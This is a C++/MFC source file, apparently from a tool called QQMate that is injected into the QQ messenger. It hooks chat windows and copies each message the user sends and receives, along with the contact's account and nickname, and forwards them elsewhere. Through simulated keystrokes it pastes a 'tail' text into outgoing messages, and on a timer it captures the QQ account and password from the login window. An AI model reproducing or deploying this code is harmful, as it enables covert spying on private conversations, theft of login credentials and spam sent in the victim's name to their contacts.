		CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)m_PtrAry_FindQQChatInfoPara.GetAt(i);
		if ( !pFindQQChatInfoPara ) continue;
		if ( pFindQQChatInfoPara->m_hWndChatWindow == hWnd ||
			pFindQQChatInfoPara->m_hWndQQPeerAccount == hWnd ||
			pFindQQChatInfoPara->m_hWndEditForSendMessage == hWnd ||
			pFindQQChatInfoPara->m_hWndEditForRecvMessage == hWnd )
			return i;
	}

	return -1;
}

//
// 聊天窗口关闭了
//
void CQQMate::OnChatWindowClose ( HWND hWnd )
{
	HwDbgLog ( L_DEBUG, _T("OnChatWindowClose(0x%04X)"), hWnd );
	if ( HANDLE_IS_VALID(m_hEvt_Check_Ary_FindQQChatInfoPara) )
		SetEvent ( m_hEvt_Check_Ary_FindQQChatInfoPara );
}

LRESULT CALLBACK WindowProc_ChatWindow ( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
	if ( !m_pQQMate ) return FALSE;
	int nFindPos = m_pQQMate->FindFrom_Ary_FindQQChatInfoPara ( hWnd );
	if ( nFindPos < 0 ) { ASSERT( FALSE ); return FALSE; }
	CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)m_pQQMate->m_PtrAry_FindQQChatInfoPara.GetAt(nFindPos);
	UINT nUserMsg = uMsg - WM_USER;

	if ( uMsg == WM_PAINT || uMsg == WM_ERASEBKGND )
	{
		CRect rcAD1(248,22,490,62);
		SetBkMode ( (HDC) wParam, TRANSPARENT );
		if ( uMsg == WM_ERASEBKGND )
		{
			HwDbgLog ( L_DEBUG, _T("WM_ERASEBKGND ::FillRect") );
			CBrush brsBkGnd;
			brsBkGnd.CreateSolidBrush( RGB(114,201,252) );
			FillRect ( (HDC) wParam, &rcAD1, (HBRUSH)brsBkGnd.GetSafeHandle() );
		}

		if ( uMsg == WM_ERASEBKGND || uMsg == WM_PAINT )
		{
			CString csAD1 = _T("这是广告位置,已经被屏蔽掉了。\r\n ——谢红伟");
			::DrawText ( (HDC) wParam, csAD1, csAD1.GetLength(), &rcAD1, DT_CENTER|DT_VCENTER );
		}
	}

	if ( uMsg != WM_PAINT && uMsg != WM_GETTEXT && uMsg != WM_SETCURSOR && uMsg != WM_WINDOWPOSCHANGING &&
		uMsg != WM_NCPAINT && uMsg != WM_GETICON && uMsg != WM_GETTEXTLENGTH && uMsg != WM_ERASEBKGND &&
		uMsg != WM_WINDOWPOSCHANGED && uMsg != WM_MOUSEMOVE && uMsg != WM_NCHITTEST && uMsg != WM_NCMOUSEMOVE &&
		uMsg != WM_EXITSIZEMOVE && uMsg != WM_CAPTURECHANGED && uMsg != WM_GETMINMAXINFO && uMsg != WM_MOVING &&
		uMsg != WM_MOVE && uMsg != WM_DRAWITEM && uMsg != WM_CTLCOLORBTN && uMsg != WM_SYNCPAINT && uMsg != WM_NCLBUTTONDOWN &&
		uMsg != WM_NCLBUTTONUP && uMsg != WM_IME_SETCONTEXT && uMsg != WM_SETFOCUS )
	{
		HwDbgLog ( L_DEBUG, _T("WindowProc_ChatWindow ( 0x%08X , 0x%04X , %d , %d)"), hWnd, uMsg, wParam, lParam );
		
		if ( uMsg == WM_SYSCOMMAND )
		{
			int uCmdType = wParam;
			WORD xPos = LOWORD(lParam);
			WORD yPos = HIWORD(lParam);
			if ( SC_CLOSE == uCmdType )
			{
				HwDbgLog ( L_DEBUG, _T("WindowProc_ChatWindow ( 0x%08X , %s , 0x%04X , %d , %d)"), hWnd, _T("WM_SYSCOMMAND - SC_CLOSE"), uCmdType, xPos, yPos );
				m_pQQMate->OnChatWindowClose (hWnd);
			}
		}
		else if ( uMsg == WM_CLOSE )
		{
			HwDbgLog ( L_DEBUG, _T("WindowProc_ChatWindow ( 0x%08X , %s )"), hWnd, _T("WM_CLOSE") );
			m_pQQMate->OnChatWindowClose (hWnd);
		}
		else if ( uMsg == WM_COMMAND )
		{
			WORD wNotifyCode = HIWORD(wParam); // notification code 
			WORD wID = LOWORD(wParam);         // item, control, or accelerator identifier 
			HWND hwndCtl = (HWND) lParam;      // handle of control
			if ( wNotifyCode == 0 && wID == CONTROL_ID_CHAT_BUTTON_SEND && GetWindowClassName(hwndCtl).CompareNoCase(_T("Button")) == 0 )
			{
				HwDbgLog ( L_DEBUG, _T("点击了发送按钮") );
			}
			else
			{
				HwDbgLog ( L_DEBUG, _T("WindowProc_ChatWindow ( 0x%08X, %s, 0x%04X, %d, 0x%08X, %s, %s)"),
					hWnd, _T("WM_COMMAND"), wNotifyCode, wID, hwndCtl, GetWindowClassName(hwndCtl), 
					GetWindowText(hwndCtl) );
			}
		}
#ifdef _DEBUG
		else if ( uMsg > WM_USER )
		{
			CString cswParam, cslParam;
			if ( AfxIsValidString ( (LPCTSTR)wParam ) )
				cswParam = LPCTSTR(wParam);
			if ( AfxIsValidString ( (LPCTSTR)lParam ) )
				cslParam = LPCTSTR(lParam);
			HwDbgLog ( L_DEBUG, _T("WM_USER + %d, %s, %s"), uMsg - WM_USER, cswParam, cslParam );
		//	return FALSE;
		}
#endif
		// 要发送消息(点击了【发送】按钮或按键"Alt+S"或"Ctrl+Enter")
/*		else if ( uMsg == WM_USER + 711 || uMsg == WM_USER + 729 || uMsg == WM_USER + 730 || uMsg == WM_USER + 735 ||
		uMsg == WM_USER + 1431 || uMsg == WM_USER + 733 || uMsg == WM_USER + 731 || uMsg == WM_USER + 1042 ||
			 uMsg == WM_USER + 631 || uMsg == WM_USER + 694 )*/

		// 用户将要发送聊天信息
		if	(
				(
					nUserMsg == 711	// 该消息将使QQ文字信息发送给对方
			//		||
			//		nUserMsg == 735	// 该消息将使发送的QQ文字消息添加到接收文字信息框中
				)
				&&
				(
					!m_pQQMate->m_bDisableHandleWillSendTextMsg && HANDLE_IS_VALID(m_pQQMate->m_hEvt_WillSendTextMsg)
				)
			)
		{
			m_pQQMate->m_bDisableHandleWillSendTextMsg = TRUE;
			m_pQQMate->m_pFindQQChatInfoPara_WillSendTextMsg = pFindQQChatInfoPara;
			SetEvent ( m_pQQMate->m_hEvt_WillSendTextMsg );
			// 等待线程将要发送的消息拷贝出来,并添加QQ尾巴
			MSG msg;
			BOOL bRet;
			while( (bRet = GetMessage( &msg, pFindQQChatInfoPara->m_hWndChatWindow, 0, 0 )) != 0)
			{ 
				if (bRet == -1)
				{
					break;
				}
				else
				{
					TranslateMessage(&msg);
					DispatchMessage(&msg);
				}
				if ( WaitForSingleObject(m_pQQMate->m_hEvt_WillSendTextMsgHandleOver,0) == WAIT_OBJECT_0 )
				{
					break;
				}
			}
		}
	}

	if ( !pFindQQChatInfoPara || !pFindQQChatInfoPara->m_pfnOrgWindowProc_ChatWindow ) return FALSE;
	return pFindQQChatInfoPara->m_pfnOrgWindowProc_ChatWindow ( hWnd, uMsg, wParam, lParam );
}

void CQQMate::HandleWillSendTextMsg ()
{
	if ( !m_pFindQQChatInfoPara_WillSendTextMsg  ||
		!IsWindow(m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage) )
		return;

	// 激活“发送文字信息的编辑框”并获取输入焦点
	ActiveWindowAndHoldFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow );
	CRect rcEditForSendMessage(0,0,0,0);
	::GetWindowRect ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage, &rcEditForSendMessage );
	::SetFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage );	
	MouseLeftClick ( rcEditForSendMessage.CenterPoint() );

	CString csSendingText, csQQTail;
	csSendingText = GetWillSentChatText ();
	if ( !csSendingText.IsEmpty() )
	{
		csQQTail = AddQQTailText ();
	}
	if ( HANDLE_IS_VALID(m_hEvt_WillSendTextMsgHandleOver) ) SetEvent(m_hEvt_WillSendTextMsgHandleOver);
	if ( !csQQTail.IsEmpty() )
	{
		::PostMessage ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, WM_COMMAND, (WPARAM)CONTROL_ID_CHAT_BUTTON_SEND, LPARAM(NULL) );
	}
	m_dwDoSthForWillSendTextMsgTime = GetTickCount() + 3000;	// 等下自动将“将要发送文字信息的参数”复原

	// 将“消息模式”透明化的聊天窗口显示出来
/*	if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_MESSAGEMODE )
	{
		TransparentWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, 255 );
	}*/

	m_pFindQQChatInfoPara_WillSendTextMsg = NULL;
}

//
// 获取用户正要发送的聊天内容,保存到数组中
//
CString CQQMate::GetWillSentChatText ()
{
	HwDbgLog ( L_DEBUG, _T("----------------------------- GetWillSentChatText()") );
	int nSleepTime = 100;

	// 激活“发送文字信息的编辑框”并获取输入焦点
	ActiveWindowAndHoldFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow );
	CRect rcEditForSendMessage(0,0,0,0);
	::GetWindowRect ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage, &rcEditForSendMessage );
	::SetFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage );	
	MouseLeftClick ( rcEditForSendMessage.CenterPoint() );
	
	// 将要发送的文字内容拷贝出来并保存起来
	CString csSendingText;
	for ( int i=0; i<10; i++ )
	{
		GetClipBoardText ();	// 清空剪贴板
		KeyboardCombineEvent ( VK_CONTROL, 'A', '\0' );
		Sleep(nSleepTime);
		KeyboardCombineEvent ( VK_CONTROL, 'C', '\0' );
		Sleep(nSleepTime);
		csSendingText = GetClipBoardText();
		HwDbgLog ( L_DEBUG, _T("csSendingText = %s"), csSendingText );
		if ( !csSendingText.IsEmpty() )
			break;
	}
	HwDbgLog ( L_DEBUG, _T("发送文字信息: %s"), csSendingText );
	if ( csSendingText.IsEmpty() )
	{
		return csSendingText;
	}
	else
	{
		m_pFindQQChatInfoPara_WillSendTextMsg->AddQQChatContent ( TRUE, csSendingText );
	}

	return csSendingText;
}

CString CQQMate::AddQQTailText ()
{
	HwDbgLog ( L_DEBUG, _T("----------------------------- AddQQTailText()") );
	int nSleepTime = 100;
	CString csQQTail;
	
	// 将“消息模式”的聊天窗口透明化隐藏起来
	if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_MESSAGEMODE )
	{
//		TransparentWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, 0 );
		::ShowWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, SW_RESTORE );
	}
	
	// 增加QQ尾巴内容
	int nQQTailPos = -1;
	csQQTail = GetQQTailText ( m_pFindQQChatInfoPara_WillSendTextMsg->m_csQQPeerAccount );
	if ( !csQQTail.IsEmpty() )
	{
		if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION )
			csQQTail.Insert ( 0, _T("\r\n") );
		CopyTextToClipboard ( csQQTail );
		Sleep(nSleepTime);
		if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION )
			KeyboardCombineEvent ( VK_CONTROL, VK_END, '\0' );
		else
			KeyboardCombineEvent ( VK_CONTROL, 'A', '\0' );
		Sleep(nSleepTime);
		KeyboardCombineEvent ( VK_CONTROL, 'V', '\0' );
		Sleep(nSleepTime);
	}
	HwDbgLog ( L_DEBUG, _T("QQ尾巴内容 = %s"), csQQTail );
	return csQQTail;
}

void CQQMate::DoSthForWillSendTextMsgOnTimer ()
{
	if ( m_dwDoSthForWillSendTextMsgTime > 0 && GetTickCount() >= m_dwDoSthForWillSendTextMsgTime )
	{
		m_bDisableHandleWillSendTextMsg = FALSE;
		m_dwDoSthForWillSendTextMsgTime = 0;
		HwDbgLog ( L_DEBUG, _T("将“将要发送文字信息的参数”复原") );
	}
}

CString CQQMate::GetQQTailText ( CString csQQPeerAccount )
{
	if ( strlen(g_pRemoteThreadPara->szQQTail) <= 0 )
		return _T("");
	if ( csQQPeerAccount.IsEmpty() )
	{
		ASSERT ( FALSE );
		return _T("");
	}

	// 已经发送过了
#ifndef _DEBUG
	if ( ::FindFromArray ( m_StrAry_QQPeerAccountSentTail, csQQPeerAccount ) >= 0 )
		return _T("");
#endif

	m_StrAry_QQPeerAccountSentTail.Add ( csQQPeerAccount );
	return g_pRemoteThreadPara->szQQTail;
}

//
// 找到一个新的聊天窗口了,添加到数组中,并修改相关窗口的 WindowProc 地址
//
void CQQMate::AddTo_Ary_FindQQChatInfoPara ( CFindQQChatInfoPara *pFindQQChatInfoPara )
{
	ASSERT ( pFindQQChatInfoPara );
	ASSERT ( IsWindow(pFindQQChatInfoPara->m_hWndChatWindow) );
	ASSERT ( FindFrom_Ary_FindQQChatInfoPara ( pFindQQChatInfoPara->m_hWndChatWindow ) < 0 );
	HwDbgLog ( L_DEBUG, _T("Found new chat window : 0x%08X, %s"),
		pFindQQChatInfoPara->m_hWndChatWindow, ::GetWindowText(pFindQQChatInfoPara->m_hWndChatWindow) );

	// 修改相关窗口的 WindowProc 地址
	ChangeWindownProc ( pFindQQChatInfoPara->m_hWndChatWindow, &pFindQQChatInfoPara->m_pfnOrgWindowProc_ChatWindow, WindowProc_ChatWindow );
	m_PtrAry_FindQQChatInfoPara.Add ( pFindQQChatInfoPara );

	HwDbgLog ( L_DEBUG, _T("HandleInfoChangedOfQQAllChatWindow() for 找到一个新的聊天窗口") );
	HandleInfoChangedOfQQAllChatWindow ();
}

//
// 检查所有聊天信息窗口当前是否有效,无效的应该从数组中移除
//
void CQQMate::Check_Ary_FindQQChatInfoPara ()
{
	for ( int i=0; i<m_PtrAry_FindQQChatInfoPara.GetSize(); i++ )
	{
		CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)m_PtrAry_FindQQChatInfoPara.GetAt(i);
		if ( !pFindQQChatInfoPara || !IsWindow(pFindQQChatInfoPara->m_hWndChatWindow) )
		{
			m_PtrAry_FindQQChatInfoPara.RemoveAt(i);
			if ( pFindQQChatInfoPara ) delete pFindQQChatInfoPara;
			i --;
		}
	}
	HwDbgLog ( L_DEBUG, _T("Check_Ary_FindQQChatInfoPara(), Current array count : %d"), m_PtrAry_FindQQChatInfoPara.GetSize() );
}

//
// 处理QQ聊天窗口中信息的变化,比如:收到新的的聊天内容
//
void CQQMate::HandleInfoChangedOfQQAllChatWindow ()
{
	for ( int i=0; i<m_PtrAry_FindQQChatInfoPara.GetSize(); i++ )
	{
		CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)m_PtrAry_FindQQChatInfoPara.GetAt(i);
		// 检查一下是不是收到了新的文字聊天消息
		if ( pFindQQChatInfoPara && IsWindow(pFindQQChatInfoPara->m_hWndEditForRecvMessage) )
		{
			ASSERT ( pFindQQChatInfoPara->m_csQQPeerNickname.GetLength() > 0 );
			CString csReceivedMsg = PickupMessageFromEditControl ( pFindQQChatInfoPara->m_hWndEditForRecvMessage,
				pFindQQChatInfoPara->m_csQQPeerNickname );
			if ( !csReceivedMsg.IsEmpty() && (pFindQQChatInfoPara->m_Ary_QQChatContent.GetSize() < 1 ||
				csReceivedMsg != pFindQQChatInfoPara->GetLastQQChatContent(FALSE))
				)
			{
				// 将收到新的聊天信息保存到数组中
				pFindQQChatInfoPara->AddQQChatContent ( FALSE, csReceivedMsg );
			}
		}
	}
}

CString CQQMate::PickupMessageFromEditControl ( HWND hWndEditForRecvMessage, CString csQQPeerNickname )
{
	CString csEnterString = GetWindowText ( hWndEditForRecvMessage );
	if ( csEnterString.GetLength() < 1 || csQQPeerNickname.GetLength() < 1 )
		return _T("");
	HwDbgLog ( L_DEBUG, _T("PickupMessageFromEditControl() Text = %s, csQQPeerNickname = %s"),
		csEnterString, csQQPeerNickname );

	csQQPeerNickname += _T(" ");
	int nFindPos = -1;
	CString csReceivedMsg;
	while ( (nFindPos = StringReverseFind ( csEnterString, csQQPeerNickname, nFindPos )) >= 0 )
	{
		csReceivedMsg.Empty ();
		CString csTempStr = csEnterString.Mid ( nFindPos+csQQPeerNickname.GetLength() );
		int nFindLineEndPos = csTempStr.Find(_T("\r\n"),0);
		if ( nFindLineEndPos > 0 )
		{
			csReceivedMsg = csTempStr.Mid ( nFindLineEndPos+2 );
			csReceivedMsg.TrimLeft(); csReceivedMsg.TrimRight();
			if ( !m_csLocalQQNickname.IsEmpty() )
			{
				CString csSpace;
				for ( int i=0; i<2; i++ )
				{
					CString csFoundStr = _T("\r\n") + csSpace + m_csLocalQQNickname + _T(" ");
					int nPosLocalSays = csReceivedMsg.Find ( csFoundStr, 0 );
					if ( nPosLocalSays >= 0 )
					{
						csReceivedMsg = csReceivedMsg.Left ( nPosLocalSays );
						break;
					}
					csSpace += _T(" ");
				}
			}
			break;
		}
	}

	csReceivedMsg.TrimLeft(); csReceivedMsg.TrimRight();
	return csReceivedMsg;
}

HWND g_hWndQQChatWindow = NULL;
BOOL CALLBACK EnumChildProc_FindQQChatInfo (
											HWND hWnd,      // handle to child window
											LPARAM lParam   // application-defined value
											)
{
	CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)lParam;
	ASSERT ( pFindQQChatInfoPara );
	
	TCHAR szClassName[64] = {0};
	::GetClassName ( hWnd, szClassName, COUNT(szClassName) );
	
#ifdef _DEBUG
//	HwDbgLog ( L_DEBUG, _T("枚举子窗口名是: 0x%08X, %s, %s, %u"), hWnd, ::GetWindowText(hWnd), ::GetWindowClassName(hWnd), ::GetWindowLong(hWnd,GWL_ID) );
#endif
	_strlwr_hw ( szClassName );
	CString csTitle = GetWindowText ( hWnd );

	if ( !IsWindow(pFindQQChatInfoPara->m_hWndQQPeerAccount) )
	{
		int nLeftPos = csTitle.Find ( _T("("),0 );
		int nRightPos = csTitle.Find ( _T(")"),1 );
		// 标题符合吗
		if ( csTitle.GetLength() > 3 && nLeftPos > 0 && nRightPos-nLeftPos > 1 )
		{
			// 类名符合吗
			if ( strstr_hw ( szClassName, _T("static") ) )
			{
				// 取得对方QQ号码和昵称
				CString csPeerAccount = csTitle.Mid ( nLeftPos+1, nRightPos-nLeftPos-1 );
				CString csQQPeerNickname = csTitle.Left ( nLeftPos );
				csQQPeerNickname.TrimLeft(); csQQPeerNickname.TrimRight();
				pFindQQChatInfoPara->m_csQQPeerAccount = csPeerAccount;
				ASSERT ( csQQPeerNickname == pFindQQChatInfoPara->m_csQQPeerNickname );
				pFindQQChatInfoPara->m_csQQPeerNickname = csQQPeerNickname;
				pFindQQChatInfoPara->m_hWndQQPeerAccount = hWnd;
				HwDbgLog ( L_DEBUG, _T("找到的QQ好友账号窗口是: %s, 窗口句柄是:0x%08X, 窗口ID是:%d" ),
					csTitle, hWnd, ::GetDlgCtrlID(hWnd) );
				HwDbgLog ( L_DEBUG, _T("对方QQ账号 : %s, 对方昵称 : %s"), csPeerAccount, csQQPeerNickname );
			}
		}
	}
	
	if ( !IsWindow(pFindQQChatInfoPara->m_hWndEditForSendMessage) )
	{
		// 类名符合吗
		if ( strstr_hw ( szClassName, _T("afxwnd42") ) )
		{
			pFindQQChatInfoPara->m_nCount_FoundAfxWnd42 ++;
			// 因为同类名的窗口很多,所以按照序号来判断
			if ( pFindQQChatInfoPara->m_nCount_FoundAfxWnd42 == 3 )
			{
				HwDbgLog ( L_DEBUG, _T("找到的QQ发送聊天信息窗口是: %s, 窗口句柄是:0x%08X, 序号:%d"), csTitle, hWnd, pFindQQChatInfoPara->m_nCount_FoundAfxWnd42 );
				pFindQQChatInfoPara->m_hWndEditForSendMessage = hWnd;
			}
		}
	}
	
	if ( !IsWindow(pFindQQChatInfoPara->m_hWndEditForRecvMessage) )
	{
		// 类名符合吗
		if ( strstr_hw ( szClassName, _T("richedit20a") ) )
		{
#ifdef _DEBUG
			// 标题符合吗
			HwDbgLog ( L_DEBUG, _T("找到RecvMessage窗口是: %s, 窗口句柄是:0x%08X"), csTitle, hWnd );
#endif
			if ( ::GetWindowLong(hWnd,GWL_ID) == 896 )
			{
				pFindQQChatInfoPara->m_hWndEditForRecvMessage = hWnd;
				ASSERT ( pFindQQChatInfoPara->m_csQQPeerNickname.GetLength() > 0 );
			}
		}
	}

	if ( !IsWindow(pFindQQChatInfoPara->m_hWndAD1) )
	{
		// 类名符合吗
		if ( strstr_hw ( szClassName, _T("static") ) )
		{
			CRect rc, rcAD1(248,22,490,62);
			::GetWindowRect ( hWnd, &rc );
			CWnd::FromHandle(g_hWndQQChatWindow)->ScreenToClient ( &rc );
			if ( rcAD1.EqualRect(&rc) || 
				( rcAD1.PtInRect(rc.TopLeft()) && rcAD1.PtInRect(rc.BottomRight()) ) ||
				( rc.PtInRect(rcAD1.TopLeft()) && rc.PtInRect(rcAD1.BottomRight()) )
				)
			{
				pFindQQChatInfoPara->m_hWndAD1 = hWnd;
				::ShowWindow ( hWnd, SW_HIDE );
			}
		}
	}

	if ( IsWindow(pFindQQChatInfoPara->m_hWndQQPeerAccount) &&
		IsWindow(pFindQQChatInfoPara->m_hWndEditForSendMessage) &&
		IsWindow(pFindQQChatInfoPara->m_hWndEditForRecvMessage) &&
		IsWindow(pFindQQChatInfoPara->m_hWndAD1) )
	{
		return FALSE;		// 找到了,停止枚举
	}
	return TRUE;
}

//
// 查找 QQ 聊天窗口
//
BOOL CQQMate::FindQQChatWindow ()
{
	for ( int eQQChatWindowType = QQCHATWINDOW_DISCUSSION; eQQChatWindowType <= QQCHATWINDOW_VIEWMESSAGE; eQQChatWindowType ++ )
	{
		t_Ary_FindWindowHwOutput tAry_FindWindowHwOutput;
		if ( eQQChatWindowType == QQCHATWINDOW_DISCUSSION )
		{
			if ( !FindWindowHw ( tAry_FindWindowHwOutput, TRUE, _T("QQ.exe"), m_dwQQPID, _T("#32770"), _T("与"), _T("交谈中"), NULL ) )
				continue;
		}
		else if ( eQQChatWindowType == QQCHATWINDOW_MESSAGEMODE )
		{
			if ( !FindWindowHw ( tAry_FindWindowHwOutput, TRUE, _T("QQ.exe"), m_dwQQPID, _T("#32770"), _T("- 发送消息"), NULL ) )
				continue;
		}
		else if ( eQQChatWindowType == QQCHATWINDOW_VIEWMESSAGE )
		{
			if ( !FindWindowHw ( tAry_FindWindowHwOutput, TRUE, _T("QQ.exe"), m_dwQQPID, _T("#32770"), _T("- 查看消息"), NULL ) )
				continue;
		}
		else { ASSERT(FALSE); }
		
		ASSERT ( tAry_FindWindowHwOutput.GetSize() > 0 );
		
		for ( int i=0; i<tAry_FindWindowHwOutput.GetSize(); i++ )
		{
			t_FindWindowHwOutput &tFindWindowHwOutput = tAry_FindWindowHwOutput.GetAt(i);
			int nFindPos = FindFrom_Ary_FindQQChatInfoPara ( tFindWindowHwOutput.hWndFound );
			if ( nFindPos >= 0 )
			{
				CFindQQChatInfoPara *pFindQQChatInfoPara = (CFindQQChatInfoPara*)m_PtrAry_FindQQChatInfoPara.GetAt(nFindPos);
				if ( pFindQQChatInfoPara ) pFindQQChatInfoPara->m_eQQChatWindowType = (ENUM_QQCHATWINDOW_TYPE)eQQChatWindowType;
				continue;
			}
			ASSERT ( IsWindow(tFindWindowHwOutput.hWndFound) );
			CFindQQChatInfoPara *pFindQQChatInfoPara = new CFindQQChatInfoPara;
			if ( !pFindQQChatInfoPara ) continue;
			pFindQQChatInfoPara->m_hWndChatWindow = tFindWindowHwOutput.hWndFound;
			pFindQQChatInfoPara->m_eQQChatWindowType = (ENUM_QQCHATWINDOW_TYPE)eQQChatWindowType;

			// 获取好友名
			CString csTitle = GetWindowText ( tFindWindowHwOutput.hWndFound );
			CStringArray StrAry;
			PartStringAndAddToStrAry ( csTitle, StrAry );
			CString csQQPeerNickname;
			if ( eQQChatWindowType == QQCHATWINDOW_DISCUSSION )
			{
				if ( StrAry.GetSize() == 3 )
					csQQPeerNickname = StrAry.GetAt(1);
			}
			else
			{
				if ( StrAry.GetSize() == 3 )
					csQQPeerNickname = StrAry.GetAt(0);
			}
			csQQPeerNickname.TrimLeft(); csQQPeerNickname.TrimRight();
			pFindQQChatInfoPara->m_csQQPeerNickname = csQQPeerNickname;
			g_hWndQQChatWindow = tFindWindowHwOutput.hWndFound;
			::EnumChildWindows ( tFindWindowHwOutput.hWndFound, EnumChildProc_FindQQChatInfo, LPARAM(pFindQQChatInfoPara) );
			AddTo_Ary_FindQQChatInfoPara ( pFindQQChatInfoPara );
			
			CRect rcClient;
			::GetWindowRect ( g_hWndQQChatWindow, &rcClient );
			CWnd::FromHandle(g_hWndQQChatWindow)->ScreenToClient ( &rcClient );
			::InvalidateRect ( g_hWndQQChatWindow, &rcClient, TRUE );
		}
	}

	return ( m_PtrAry_FindQQChatInfoPara.GetSize() > 0 );
}

BOOL CQQMate::CaptureQQChatWindow ()
{
	if ( !FindQQChatWindow () )
		return FALSE;
	ASSERT ( m_PtrAry_FindQQChatInfoPara.GetSize() > 0 );
	
	return TRUE;
}

void CQQMate::ThreadProc_CaptureWindow ()
{
	HwDbgLog ( L_DEBUG, _T("ThreadProc_CaptureWindow() Start") );
	HANDLE hAryEvt[] = { m_hEvtEndModule, m_hEvt_Check_Ary_FindQQChatInfoPara, m_hEvt_HandleInfoChangedOfQQAllChatWindow,
		m_hEvt_WillSendTextMsg };
	DWORD dwTimeout = 500;
	for ( ULONGLONG nCount=1; ; nCount++ )
	{
		DWORD dwRet = ( ::WaitForMultipleObjects ( sizeof(hAryEvt)/sizeof(hAryEvt[0]), hAryEvt, FALSE, dwTimeout ) - WAIT_OBJECT_0 );
		
		// 系统将终止
		if ( dwRet == 0 )
			break;
		// 请求检查所有聊天信息窗口当前是否有效
		else if ( dwRet == 1 )
		{
			Sleep ( 1000 );
			Check_Ary_FindQQChatInfoPara ();
		}
		// 请求处理QQ聊天窗口中信息的变化
		else if ( dwRet == 2 )
		{
			HwDbgLog ( L_DEBUG, _T("HandleInfoChangedOfQQAllChatWindow() for 请求处理QQ聊天窗口中信息的变化") );
			HandleInfoChangedOfQQAllChatWindow ();
		}
		// 用户在“交谈”窗口中要发送QQ文字信息了
		else if ( dwRet == 3 )
		{
			HandleWillSendTextMsg ();
		}

		OnTimer ( nCount );
	}
	HwDbgLog ( L_DEBUG, _T("ThreadProc_CaptureWindow() End") );
}

void CQQMate::OnTimer ( ULONGLONG nCount )
{
	// 定时捕捉QQ登录窗口,并获取其中的账号和密码
	if ( !IsWindow(m_hWndQQLoginWindow) )
		CaptureQQAccountAndPassFromLoginWindow ();
	
	// 定时捕捉QQ聊天窗口
	CaptureQQChatWindow ();
	
	// 每5秒定时检查一次聊天窗口是否被关闭的信息
	if ( (nCount % 10) == 0 )
		Check_Ary_FindQQChatInfoPara ();

	// 每3秒定时处理QQ聊天窗口中信息的变化
	if ( (nCount % 6) == 0 )
	{
		HwDbgLog ( L_DEBUG, _T("HandleInfoChangedOfQQAllChatWindow() for 每3秒定时处理QQ聊天窗口中信息的变化") );
		HandleInfoChangedOfQQAllChatWindow ();
	}

	// 定时处理一下“交谈”窗口中将要发送文字信息的相关参数
	DoSthForWillSendTextMsgOnTimer ();
}

CFindQQChatInfoPara::~CFindQQChatInfoPara ()
{
}

void CFindQQChatInfoPara::AddQQChatContent ( BOOL bIsSent, LPCTSTR lpszChatText )
{
	if ( !lpszChatText || lstrlen(lpszChatText) < 1 ) return;
	
	t_QQChatContent tQQChatContent;
	tQQChatContent.bIsSent = bIsSent;
	tQQChatContent.csChatText = lpszChatText;
	//	AfxMessageBox ( FormatString(_T("%s消息:%s"),bIsSent?_T("发送"):_T("接收"), lpszChatText) );
	m_Ary_QQChatContent.Add ( tQQChatContent );

	CString csChatInfo;
	csChatInfo.Format ( _T("%s\t%s\t%s"), m_csQQPeerAccount, m_csQQPeerNickname, lpszChatText );
	::SendMessageIV ( RMSG_GotQQChatText, (DWORD)bIsSent, csChatInfo );
}

CString CFindQQChatInfoPara::GetLastQQChatContent ( BOOL bIsSent )
{
	for ( int i=m_Ary_QQChatContent.GetSize()-1; i>=0; i-- )
	{
		t_QQChatContent &tQQChatContent = m_Ary_QQChatContent.GetAt(i);
		if ( (tQQChatContent.bIsSent && bIsSent) || (!tQQChatContent.bIsSent && !bIsSent) )
			return tQQChatContent.csChatText;
	}
	return _T("");
}